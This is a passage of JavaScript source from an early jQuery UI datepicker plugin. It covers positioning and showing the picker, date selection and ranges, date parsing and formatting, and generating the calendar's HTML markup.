var chars = $.datepicker._possibleChars($.datepicker._get(inst, 'dateFormat'));
var chr = String.fromCharCode(e.charCode == undefined ? e.keyCode : e.charCode);
return e.ctrlKey || (chr < ' ' || !chars || chars.indexOf(chr) > -1);
},
_showDatepicker: function(input) {
input = input.target || input;
if (input.nodeName.toLowerCase() != 'input') input = $('input', input.parentNode)[0];
if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput == input) return;
var inst = $.data(input, PROP_NAME);
var beforeShow = $.datepicker._get(inst, 'beforeShow');
extendRemove(inst.settings, (beforeShow ? beforeShow.apply(input, [input, inst]) : {}));
$.datepicker._hideDatepicker(null, '');
$.datepicker._lastInput = input;
$.datepicker._setDateFromField(inst);
if ($.datepicker._inDialog) input.value = '';
if (!$.datepicker._pos) {
$.datepicker._pos = $.datepicker._findPos(input);
$.datepicker._pos[1] += input.offsetHeight;
}
var isFixed = false;
$(input).parents().each(function() {
isFixed |= $(this).css('position') == 'fixed';
return !isFixed;
});
if (isFixed && $.browser.opera) {
$.datepicker._pos[0] -= document.documentElement.scrollLeft;
$.datepicker._pos[1] -= document.documentElement.scrollTop;
}
var offset = {
left: $.datepicker._pos[0],
top: $.datepicker._pos[1]
};
$.datepicker._pos = null;
inst.rangeStart = null;
inst.dpDiv.css({
position: 'absolute',
display: 'block',
top: '-1000px'
});
$.datepicker._updateDatepicker(inst);
inst.dpDiv.width($.datepicker._getNumberOfMonths(inst)[1] * $('.ui-datepicker', inst.dpDiv[0])[0].offsetWidth);
offset = $.datepicker._checkOffset(inst, offset, isFixed);
inst.dpDiv.css({
position: ($.datepicker._inDialog && $.blockUI ? 'static' : (isFixed ? 'fixed' : 'absolute')),
display: 'none',
left: offset.left + 'px',
top: offset.top + 'px'
});
if (!inst.inline) {
var showAnim = $.datepicker._get(inst, 'showAnim') || 'show';
var duration = $.datepicker._get(inst, 'duration');
var postProcess = function() {
$.datepicker._datepickerShowing = true;
if ($.browser.msie && parseInt($.browser.version) < 7) $('iframe.ui-datepicker-cover').css({
width: inst.dpDiv.width() + 4,
height: inst.dpDiv.height() + 4
});
};
if ($.effects && $.effects[showAnim]) inst.dpDiv.show(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
else inst.dpDiv[showAnim](duration, postProcess);
if (duration == '') postProcess();
if (inst.input[0].type != 'hidden') inst.input[0].focus();
$.datepicker._curInst = inst;
}
},
_updateDatepicker: function(inst) {
var dims = {
width: inst.dpDiv.width() + 4,
height: inst.dpDiv.height() + 4
};
inst.dpDiv.empty().append(this._generateDatepicker(inst)).find('iframe.ui-datepicker-cover').css({
width: dims.width,
height: dims.height
});
var numMonths = this._getNumberOfMonths(inst);
inst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' : 'remove') + 'Class']('ui-datepicker-multi');
inst.dpDiv[(this._get(inst, 'isRTL') ? 'add' : 'remove') + 'Class']('ui-datepicker-rtl');
if (inst.input && inst.input[0].type != 'hidden') $(inst.input[0]).focus();
},
_checkOffset: function(inst, offset, isFixed) {
var pos = inst.input ? this._findPos(inst.input[0]) : null;
var browserWidth = window.innerWidth || document.documentElement.clientWidth;
var browserHeight = window.innerHeight || document.documentElement.clientHeight;
var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
var scrollY = document.documentElement.scrollTop || document.body.scrollTop;
if (this._get(inst, 'isRTL') || (offset.left + inst.dpDiv.width() - scrollX) > browserWidth) offset.left = Math.max((isFixed ? 0 : scrollX), pos[0] + (inst.input ? inst.input.width() : 0) - (isFixed ? scrollX : 0) - inst.dpDiv.width() - (isFixed && $.browser.opera ? document.documentElement.scrollLeft : 0));
else offset.left -= (isFixed ? scrollX : 0);
if ((offset.top + inst.dpDiv.height() - scrollY) > browserHeight) offset.top = Math.max((isFixed ? 0 : scrollY), pos[1] - (isFixed ? scrollY : 0) - (this._inDialog ? 0 : inst.dpDiv.height()) - (isFixed && $.browser.opera ? document.documentElement.scrollTop : 0));
else offset.top -= (isFixed ? scrollY : 0);
return offset;
},
_findPos: function(obj) {
while (obj && (obj.type == 'hidden' || obj.nodeType != 1)) {
obj = obj.nextSibling;
}
var position = $(obj).offset();
return [position.left, position.top];
},
_hideDatepicker: function(input, duration) {
var inst = this._curInst;
if (!inst) return;
var rangeSelect = this._get(inst, 'rangeSelect');
if (rangeSelect && this._stayOpen) this._selectDate('#' + inst.id, this._formatDate(inst, inst.currentDay, inst.currentMonth, inst.currentYear));
this._stayOpen = false;
if (this._datepickerShowing) {
duration = (duration != null ? duration : this._get(inst, 'duration'));
var showAnim = this._get(inst, 'showAnim');
var postProcess = function() {
$.datepicker._tidyDialog(inst);
};
if (duration != '' && $.effects && $.effects[showAnim]) inst.dpDiv.hide(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
else inst.dpDiv[(duration == '' ? 'hide' : (showAnim == 'slideDown' ? 'slideUp' : (showAnim == 'fadeIn' ? 'fadeOut' : 'hide')))](duration, postProcess);
if (duration == '') this._tidyDialog(inst);
var onClose = this._get(inst, 'onClose');
if (onClose) onClose.apply((inst.input ? inst.input[0] : null), [this._getDate(inst), inst]);
this._datepickerShowing = false;
this._lastInput = null;
inst.settings.prompt = null;
if (this._inDialog) {
this._dialogInput.css({
position: 'absolute',
left: '0',
top: '-100px'
});
if ($.blockUI) {
$.unblockUI();
$('body').append(this.dpDiv);
}
}
this._inDialog = false;
}
this._curInst = null;
},
_tidyDialog: function(inst) {
inst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker');
$('.' + this._promptClass, inst.dpDiv).remove();
},
_checkExternalClick: function(event) {
if (!$.datepicker._curInst) return;
var $target = $(event.target);
if (($target.parents('#' + $.datepicker._mainDivId).length == 0) && !$target.hasClass($.datepicker.markerClassName) && !$target.hasClass($.datepicker._triggerClass) && $.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI)) $.datepicker._hideDatepicker(null, '');
},
_adjustDate: function(id, offset, period) {
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
this._adjustInstDate(inst, offset, period);
this._updateDatepicker(inst);
},
_gotoToday: function(id) {
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
if (this._get(inst, 'gotoCurrent') && inst.currentDay) {
inst.selectedDay = inst.currentDay;
inst.drawMonth = inst.selectedMonth = inst.currentMonth;
inst.drawYear = inst.selectedYear = inst.currentYear;
} else {
var date = new Date();
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
}
this._adjustDate(target);
this._notifyChange(inst);
},
_selectMonthYear: function(id, select, period) {
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
inst._selectingMonthYear = false;
inst[period == 'M' ? 'drawMonth' : 'drawYear'] = select.options[select.selectedIndex].value - 0;
this._adjustDate(target);
this._notifyChange(inst);
},
_clickMonthYear: function(id) {
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
if (inst.input && inst._selectingMonthYear && !$.browser.msie) inst.input[0].focus();
inst._selectingMonthYear = !inst._selectingMonthYear;
},
_changeFirstDay: function(id, day) {
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
inst.settings.firstDay = day;
this._updateDatepicker(inst);
},
_selectDay: function(id, month, year, td) {
if ($(td).hasClass(this._unselectableClass)) return;
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
var rangeSelect = this._get(inst, 'rangeSelect');
if (rangeSelect) {
this._stayOpen = !this._stayOpen;
if (this._stayOpen) {
$('.ui-datepicker td').removeClass(this._currentClass);
$(td).addClass(this._currentClass);
}
}
inst.selectedDay = inst.currentDay = $('a', td).html();
inst.selectedMonth = inst.currentMonth = month;
inst.selectedYear = inst.currentYear = year;
if (this._stayOpen) {
inst.endDay = inst.endMonth = inst.endYear = null;
} else if (rangeSelect) {
inst.endDay = inst.currentDay;
inst.endMonth = inst.currentMonth;
inst.endYear = inst.currentYear;
}
this._selectDate(id, this._formatDate(inst, inst.currentDay, inst.currentMonth, inst.currentYear));
if (this._stayOpen) {
inst.rangeStart = this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay));
this._updateDatepicker(inst);
} else if (rangeSelect) {
inst.selectedDay = inst.currentDay = inst.rangeStart.getDate();
inst.selectedMonth = inst.currentMonth = inst.rangeStart.getMonth();
inst.selectedYear = inst.currentYear = inst.rangeStart.getFullYear();
inst.rangeStart = null;
if (inst.inline) this._updateDatepicker(inst);
}
},
_clearDate: function(id) {
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
if (this._get(inst, 'mandatory')) return;
this._stayOpen = false;
inst.endDay = inst.endMonth = inst.endYear = inst.rangeStart = null;
this._selectDate(target, '');
},
_selectDate: function(id, dateStr) {
var target = $(id);
var inst = $.data(target[0], PROP_NAME);
dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
if (this._get(inst, 'rangeSelect') && dateStr) dateStr = (inst.rangeStart ? this._formatDate(inst, inst.rangeStart) : dateStr) + this._get(inst, 'rangeSeparator') + dateStr;
if (inst.input) inst.input.val(dateStr);
this._updateAlternate(inst);
var onSelect = this._get(inst, 'onSelect');
if (onSelect) onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);
else if (inst.input) inst.input.trigger('change');
if (inst.inline) this._updateDatepicker(inst);
else if (!this._stayOpen) {
this._hideDatepicker(null, this._get(inst, 'duration'));
this._lastInput = inst.input[0];
if (typeof(inst.input[0]) != 'object') inst.input[0].focus();
this._lastInput = null;
}
},
_updateAlternate: function(inst) {
var altField = this._get(inst, 'altField');
if (altField) {
var altFormat = this._get(inst, 'altFormat');
var date = this._getDate(inst);
dateStr = (isArray(date) ? (!date[0] && !date[1] ? '' : this.formatDate(altFormat, date[0], this._getFormatConfig(inst)) + this._get(inst, 'rangeSeparator') + this.formatDate(altFormat, date[1] || date[0], this._getFormatConfig(inst))) : this.formatDate(altFormat, date, this._getFormatConfig(inst)));
$(altField).each(function() {
$(this).val(dateStr);
});
}
},
noWeekends: function(date) {
var day = date.getDay();
return [(day > 0 && day < 6), ''];
},
iso8601Week: function(date) {
var checkDate = new Date(date.getFullYear(), date.getMonth(), date.getDate());
var firstMon = new Date(checkDate.getFullYear(), 1 - 1, 4);
var firstDay = firstMon.getDay() || 7;
firstMon.setDate(firstMon.getDate() + 1 - firstDay);
if (firstDay < 4 && checkDate < firstMon) {
checkDate.setDate(checkDate.getDate() - 3);
return $.datepicker.iso8601Week(checkDate);
} else if (checkDate > new Date(checkDate.getFullYear(), 12 - 1, 28)) {
firstDay = new Date(checkDate.getFullYear() + 1, 1 - 1, 4).getDay() || 7;
if (firstDay > 4 && (checkDate.getDay() || 7) < firstDay - 3) {
checkDate.setDate(checkDate.getDate() + 3);
return $.datepicker.iso8601Week(checkDate);
}
}
return Math.floor(((checkDate - firstMon) / 86400000) / 7) + 1;
},
dateStatus: function(date, inst) {
return $.datepicker.formatDate($.datepicker._get(inst, 'dateStatus'), date, $.datepicker._getFormatConfig(inst));
},
parseDate: function(format, value, settings) {
if (format == null || value == null) throw 'Invalid arguments';
value = (typeof value == 'object' ? value.toString() : value + '');
if (value == '') return null;
var shortYearCutoff = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff;
var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
var year = -1;
var month = -1;
var day = -1;
var literal = false;
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
if (matches) iFormat++;
return matches;
};
var getNumber = function(match) {
lookAhead(match);
var origSize = (match == '@' ? 14 : (match == 'y' ? 4 : 2));
var size = origSize;
var num = 0;
while (size > 0 && iValue < value.length && value.charAt(iValue) >= '0' && value.charAt(iValue) <= '9') {
num = num * 10 + (value.charAt(iValue++) - 0);
size--;
}
if (size == origSize) throw 'Missing number at position ' + iValue;
return num;
};
var getName = function(match, shortNames, longNames) {
var names = (lookAhead(match) ? longNames : shortNames);
var size = 0;
for (var j = 0; j < names.length; j++)
size = Math.max(size, names[j].length);
var name = '';
var iInit = iValue;
while (size > 0 && iValue < value.length) {
name += value.charAt(iValue++);
for (var i = 0; i < names.length; i++)
if (name == names[i]) return i + 1;
size--;
}
throw 'Unknown name at position ' + iInit;
};
var checkLiteral = function() {
if (value.charAt(iValue) != format.charAt(iFormat)) throw 'Unexpected literal at position ' + iValue;
iValue++;
};
var iValue = 0;
for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false;
else checkLiteral();
else switch (format.charAt(iFormat)) {
case 'd':
day = getNumber('d');
break;
case 'D':
getName('D', dayNamesShort, dayNames);
break;
case 'm':
month = getNumber('m');
break;
case 'M':
month = getName('M', monthNamesShort, monthNames);
break;
case 'y':
year = getNumber('y');
break;
case '@':
var date = new Date(getNumber('@'));
year = date.getFullYear();
month = date.getMonth() + 1;
day = date.getDate();
break;
case "'":
if (lookAhead("'")) checkLiteral();
else literal = true;
break;
default:
checkLiteral();
}
}
if (year < 100) year += new Date().getFullYear() - new Date().getFullYear() % 100 + (year <= shortYearCutoff ? 0 : -100);
var date = this._daylightSavingAdjust(new Date(year, month - 1, day));
if (date.getFullYear() != year || date.getMonth() + 1 != month || date.getDate() != day) throw 'Invalid date';
return date;
},
ATOM: 'yy-mm-dd',
COOKIE: 'D, dd M yy',
ISO_8601: 'yy-mm-dd',
RFC_822: 'D, d M y',
RFC_850: 'DD, dd-M-y',
RFC_1036: 'D, d M y',
RFC_1123: 'D, d M yy',
RFC_2822: 'D, d M yy',
RSS: 'D, d M y',
TIMESTAMP: '@',
W3C: 'yy-mm-dd',
formatDate: function(format, date, settings) {
if (!date) return '';
var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
if (matches) iFormat++;
return matches;
};
var formatNumber = function(match, value) {
return (lookAhead(match) && value < 10 ? '0' : '') + value;
};
var formatName = function(match, value, shortNames, longNames) {
return (lookAhead(match) ? longNames[value] : shortNames[value]);
};
var output = '';
var literal = false;
if (date) for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false;
else output += format.charAt(iFormat);
else switch (format.charAt(iFormat)) {
case 'd':
output += formatNumber('d', date.getDate());
break;
case 'D':
output += formatName('D', date.getDay(), dayNamesShort, dayNames);
break;
case 'm':
output += formatNumber('m', date.getMonth() + 1);
break;
case 'M':
output += formatName('M', date.getMonth(), monthNamesShort, monthNames);
break;
case 'y':
output += (lookAhead('y') ? date.getFullYear() : (date.getYear() % 100 < 10 ? '0' : '') + date.getYear() % 100);
break;
case '@':
output += date.getTime();
break;
case "'":
if (lookAhead("'")) output += "'";
else literal = true;
break;
default:
output += format.charAt(iFormat);
}
}
return output;
},
_possibleChars: function(format) {
var chars = '';
var literal = false;
for (var iFormat = 0; iFormat < format.length; iFormat++)
if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false;
else chars += format.charAt(iFormat);
else switch (format.charAt(iFormat)) {
case 'd':
case 'm':
case 'y':
case '@':
chars += '0123456789';
break;
case 'D':
case 'M':
return null;
case "'":
if (lookAhead("'")) chars += "'";
else literal = true;
break;
default:
chars += format.charAt(iFormat);
}
return chars;
},
_get: function(inst, name) {
return inst.settings[name] !== undefined ? inst.settings[name] : this._defaults[name];
},
_setDateFromField: function(inst) {
var dateFormat = this._get(inst, 'dateFormat');
var dates = inst.input ? inst.input.val().split(this._get(inst, 'rangeSeparator')) : null;
inst.endDay = inst.endMonth = inst.endYear = null;
var date = defaultDate = this._getDefaultDate(inst);
if (dates.length > 0) {
var settings = this._getFormatConfig(inst);
if (dates.length > 1) {
date = this.parseDate(dateFormat, dates[1], settings) || defaultDate;
inst.endDay = date.getDate();
inst.endMonth = date.getMonth();
inst.endYear = date.getFullYear();
}
try {
date = this.parseDate(dateFormat, dates[0], settings) || defaultDate;
} catch (e) {
this.log(e);
date = defaultDate;
}
}
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
inst.currentDay = (dates[0] ? date.getDate() : 0);
inst.currentMonth = (dates[0] ? date.getMonth() : 0);
inst.currentYear = (dates[0] ? date.getFullYear() : 0);
this._adjustInstDate(inst);
},
_getDefaultDate: function(inst) {
var date = this._determineDate(this._get(inst, 'defaultDate'), new Date());
var minDate = this._getMinMaxDate(inst, 'min', true);
var maxDate = this._getMinMaxDate(inst, 'max');
date = (minDate && date < minDate ? minDate : date);
date = (maxDate && date > maxDate ? maxDate : date);
return date;
},
_determineDate: function(date, defaultDate) {
var offsetNumeric = function(offset) {
var date = new Date();
date.setDate(date.getDate() + offset);
return date;
};
var offsetString = function(offset, getDaysInMonth) {
var date = new Date();
var year = date.getFullYear();
var month = date.getMonth();
var day = date.getDate();
var pattern = /([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g;
var matches = pattern.exec(offset);
while (matches) {
switch (matches[2] || 'd') {
case 'd':
case 'D':
day += (matches[1] - 0);
break;
case 'w':
case 'W':
day += (matches[1] * 7);
break;
case 'm':
case 'M':
month += (matches[1] - 0);
day = Math.min(day, getDaysInMonth(year, month));
break;
case 'y':
case 'Y':
year += (matches[1] - 0);
day = Math.min(day, getDaysInMonth(year, month));
break;
}
matches = pattern.exec(offset);
}
return new Date(year, month, day);
};
date = (date == null ? defaultDate : (typeof date == 'string' ? offsetString(date, this._getDaysInMonth) : (typeof date == 'number' ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : date)));
date = (date && date.toString() == 'Invalid Date' ? defaultDate : date);
if (date) {
date.setHours(0);
date.setMinutes(0);
date.setSeconds(0);
date.setMilliseconds(0);
}
return this._daylightSavingAdjust(date);
},
_daylightSavingAdjust: function(date) {
if (!date) return null;
date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
return date;
},
_setDate: function(inst, date, endDate) {
var clear = !(date);
date = this._determineDate(date, new Date());
inst.selectedDay = inst.currentDay = date.getDate();
inst.drawMonth = inst.selectedMonth = inst.currentMonth = date.getMonth();
inst.drawYear = inst.selectedYear = inst.currentYear = date.getFullYear();
if (this._get(inst, 'rangeSelect')) {
if (endDate) {
endDate = this._determineDate(endDate, null);
inst.endDay = endDate.getDate();
inst.endMonth = endDate.getMonth();
inst.endYear = endDate.getFullYear();
} else {
inst.endDay = inst.currentDay;
inst.endMonth = inst.currentMonth;
inst.endYear = inst.currentYear;
}
}
this._adjustInstDate(inst);
if (inst.input) inst.input.val(clear ? '' : this._formatDate(inst) + (!this._get(inst, 'rangeSelect') ? '' : this._get(inst, 'rangeSeparator') + this._formatDate(inst, inst.endDay, inst.endMonth, inst.endYear)));
},
_getDate: function(inst) {
var startDate = (!inst.currentYear || (inst.input && inst.input.val() == '') ? null : this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
if (this._get(inst, 'rangeSelect')) {
return [inst.rangeStart || startDate, (!inst.endYear ? inst.rangeStart || startDate : this._daylightSavingAdjust(new Date(inst.endYear, inst.endMonth, inst.endDay)))];
} else return startDate;
},
_generateDatepicker: function(inst) {
var today = new Date();
today = this._daylightSavingAdjust(new Date(today.getFullYear(), today.getMonth(), today.getDate()));
var showStatus = this._get(inst, 'showStatus');
var isRTL = this._get(inst, 'isRTL');
var clear = (this._get(inst, 'mandatory') ? '' : '<div class="ui-datepicker-clear"><a onclick="jQuery.datepicker._clearDate(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'clearStatus') || ' ') : '') + '>' + this._get(inst, 'clearText') + '</a></div>');
var controls = '<div class="ui-datepicker-control">' + (isRTL ? '' : clear) + '<div class="ui-datepicker-close"><a onclick="jQuery.datepicker._hideDatepicker();"' + (showStatus ? this._addStatus(inst, this._get(inst, 'closeStatus') || ' ') : '') + '>' + this._get(inst, 'closeText') + '</a></div>' + (isRTL ? clear : '') + '</div>';
var prompt = this._get(inst, 'prompt');
var closeAtTop = this._get(inst, 'closeAtTop');
var hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext');
var navigationAsDateFormat = this._get(inst, 'navigationAsDateFormat');
var numMonths = this._getNumberOfMonths(inst);
var stepMonths = this._get(inst, 'stepMonths');
var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);
var currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) : new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
var minDate = this._getMinMaxDate(inst, 'min', true);
var maxDate = this._getMinMaxDate(inst, 'max');
var drawMonth = inst.drawMonth;
var drawYear = inst.drawYear;
if (maxDate) {
var maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(), maxDate.getMonth() - numMonths[1] + 1, maxDate.getDate()));
maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) {
drawMonth--;
if (drawMonth < 0) {
drawMonth = 11;
drawYear--;
}
}
}
var prevText = this._get(inst, 'prevText');
prevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText, this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)), this._getFormatConfig(inst)));
var prev = '<div class="ui-datepicker-prev">' + (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ? '<a onclick="jQuery.datepicker._adjustDate(\'#' + inst.id + '\', -' + stepMonths + ', \'M\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'prevStatus') || ' ') : '') + '>' + prevText + '</a>' : (hideIfNoPrevNext ? '' : '<label>' + prevText + '</label>')) + '</div>';
var nextText = this._get(inst, 'nextText');
nextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText, this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)), this._getFormatConfig(inst)));
var next = '<div class="ui-datepicker-next">' + (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ? '<a onclick="jQuery.datepicker._adjustDate(\'#' + inst.id + '\', +' + stepMonths + ', \'M\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'nextStatus') || ' ') : '') + '>' + nextText + '</a>' : (hideIfNoPrevNext ? '' : '<label>' + nextText + '</label>')) + '</div>';
var currentText = this._get(inst, 'currentText');
currentText = (!navigationAsDateFormat ? currentText : this.formatDate(currentText, today, this._getFormatConfig(inst)));
var html = (prompt ? '<div class="' + this._promptClass + '">' + prompt + '</div>' : '') + (closeAtTop && !inst.inline ? controls : '') + '<div class="ui-datepicker-links">' + (isRTL ? next : prev) + (this._isInRange(inst, (this._get(inst, 'gotoCurrent') && inst.currentDay ? currentDate : today)) ? '<div class="ui-datepicker-current">' + '<a onclick="jQuery.datepicker._gotoToday(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'currentStatus') || ' ') : '') + '>' + currentText + '</a></div>' : '') + (isRTL ? prev : next) + '</div>';
var firstDay = this._get(inst, 'firstDay');
var changeFirstDay = this._get(inst, 'changeFirstDay');
var dayNames = this._get(inst, 'dayNames');
var dayNamesShort = this._get(inst, 'dayNamesShort');
var dayNamesMin = this._get(inst, 'dayNamesMin');
var monthNames = this._get(inst, 'monthNames');
var beforeShowDay = this._get(inst, 'beforeShowDay');
var highlightWeek = this._get(inst, 'highlightWeek');
var showOtherMonths = this._get(inst, 'showOtherMonths');
var showWeeks = this._get(inst, 'showWeeks');
var calculateWeek = this._get(inst, 'calculateWeek') || this.iso8601Week;
var status = (showStatus ? this._get(inst, 'dayStatus') || ' ' : '');
var dateStatus = this._get(inst, 'statusForDate') || this.dateStatus;
var endDate = inst.endDay ? this._daylightSavingAdjust(new Date(inst.endYear, inst.endMonth, inst.endDay)) : currentDate;
for (var row = 0; row < numMonths[0]; row++)
for (var col = 0; col < numMonths[1]; col++) {
var selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay));
html += '<div class="ui-datepicker-one-month' + (col == 0 ? ' ui-datepicker-new-row' : '') + '">' + this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate, selectedDate, row > 0 || col > 0, showStatus, monthNames) + '<table class="ui-datepicker" cellpadding="0" cellspacing="0"><thead>' + '<tr class="ui-datepicker-title-row">' + (showWeeks ? '<td>' + this._get(inst, 'weekHeader') + '</td>' : '');
for (var dow = 0; dow < 7; dow++) {
var day = (dow + firstDay) % 7;
var dayStatus = (status.indexOf('DD') > -1 ? status.replace(/DD/, dayNames[day]) : status.replace(/D/, dayNamesShort[day]));
html += '<td' + ((dow + firstDay + 6) % 7 >= 5 ? ' class="ui-datepicker-week-end-cell"' : '') + '>' + (!changeFirstDay ? '<span' : '<a onclick="jQuery.datepicker._changeFirstDay(\'#' + inst.id + '\', ' + day + ');"') + (showStatus ? this._addStatus(inst, dayStatus) : '') + ' title="' + dayNames[day] + '">' + dayNamesMin[day] + (changeFirstDay ? '</a>' : '</span>') + '</td>';
}
html += '</tr></thead><tbody>';
var daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
if (drawYear == inst.selectedYear && drawMonth == inst.selectedMonth) inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;
var numRows = (isMultiMonth ? 6 : Math.ceil((leadDays + daysInMonth) / 7));
var printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays));
for (var dRow = 0; dRow < numRows; dRow++) {
html += '<tr class="ui-datepicker-days-row">' + (showWeeks ? '<td class="ui-datepicker-week-col">' + calculateWeek(printDate) + '</td>' : '');
for (var dow = 0; dow < 7; dow++) {
var daySettings = (beforeShowDay ? beforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, '']);
var otherMonth = (printDate.getMonth() != drawMonth);
var unselectable = otherMonth || !daySettings[0] || (minDate && printDate < minDate) || (maxDate && printDate > maxDate);
html += '<td class="ui-datepicker-days-cell' + ((dow + firstDay + 6) % 7 >= 5 ? ' ui-datepicker-week-end-cell' : '') + (otherMonth ? ' ui-datepicker-otherMonth' : '') + (printDate.getTime() == selectedDate.getTime() && drawMonth == inst.selectedMonth ? ' ui-datepicker-days-cell-over' : '') + (unselectable ? ' ' + this._unselectableClass : '') + (otherMonth && !showOtherMonths ? '' : ' ' + daySettings[1] + (printDate.getTime() >= currentDate.getTime() && printDate.getTime() <= endDate.getTime() ? ' ' + this._currentClass : '') + (printDate.getTime() == today.getTime() ? ' ui-datepicker-today' : '')) + '"' + ((!otherMonth || showOtherMonths) && daySettings[2] ? ' title="' + daySettings[2] + '"' : '') + (unselectable ? (highlightWeek ? ' onmouseover="jQuery(this).parent().addClass(\'ui-datepicker-week-over\');"' + ' onmouseout="jQuery(this).parent().removeClass(\'ui-datepicker-week-over\');"' : '') : ' onmouseover="jQuery(this).addClass(\'ui-datepicker-days-cell-over\')' + (highlightWeek ? '.parent().addClass(\'ui-datepicker-week-over\')' : '') + ';' + (!showStatus || (otherMonth && !showOtherMonths) ? '' : 'jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\'' + (dateStatus.apply((inst.input ? inst.input[0] : null), [printDate, inst]) || ' ') + '\');') + '"' + ' onmouseout="jQuery(this).removeClass(\'ui-datepicker-days-cell-over\')' + (highlightWeek ? '.parent().removeClass(\'ui-datepicker-week-over\')' : '') + ';' + (!showStatus || (otherMonth && !showOtherMonths) ? '' : 'jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\' \');') + '" onclick="jQuery.datepicker._selectDay(\'#' + inst.id + '\',' + drawMonth + ',' + drawYear + ', this);"') + '>' + (otherMonth ? (showOtherMonths ? printDate.getDate() : ' ') : (unselectable ? printDate.getDate() : '<a>' + printDate.getDate() + '</a>')) + '</td>';
printDate.setDate(printDate.getDate() + 1);
printDate = this._daylightSavingAdjust(printDate);
}
html += '</tr>';
}
drawMonth++;
if (drawMonth > 11) {
drawMonth = 0;
drawYear++;
}
html += '</tbody></table></div>';
}
html += (showStatus ? '<div style="clear: both;"></div><div id="ui-datepicker-status-' + inst.id + '" class="ui-datepicker-status">' + (this._get(inst, 'initStatus') || ' ') + '</div>' : '') + (!closeAtTop && !inst.inline ? controls : '') + '<div style="clear: both;"></div>' + ($.browser.msie && parseInt($.browser.version) < 7 && !inst.inline ? '<iframe src="javascript:false;" class="ui-datepicker-cover"></iframe>' : '');
return html;
},
_generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate, selectedDate, secondary, showStatus, monthNames) {
minDate = (inst.rangeStart && minDate && selectedDate < minDate ? selectedDate : minDate);
var html = '<div class="ui-datepicker-header">';
if (secondary || !this._get(inst, 'changeMonth')) html += monthNames[drawMonth] + ' ';
else {
var inMinYear = (minDate && minDate.getFullYear() == drawYear);
var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);
html += '<select class="ui-datepicker-new-month" ' + 'onchange="jQuery.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'M\');" ' + 'onclick="jQuery.datepicker._clickMonthYear(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'monthStatus') || ' ') : '') + '>';
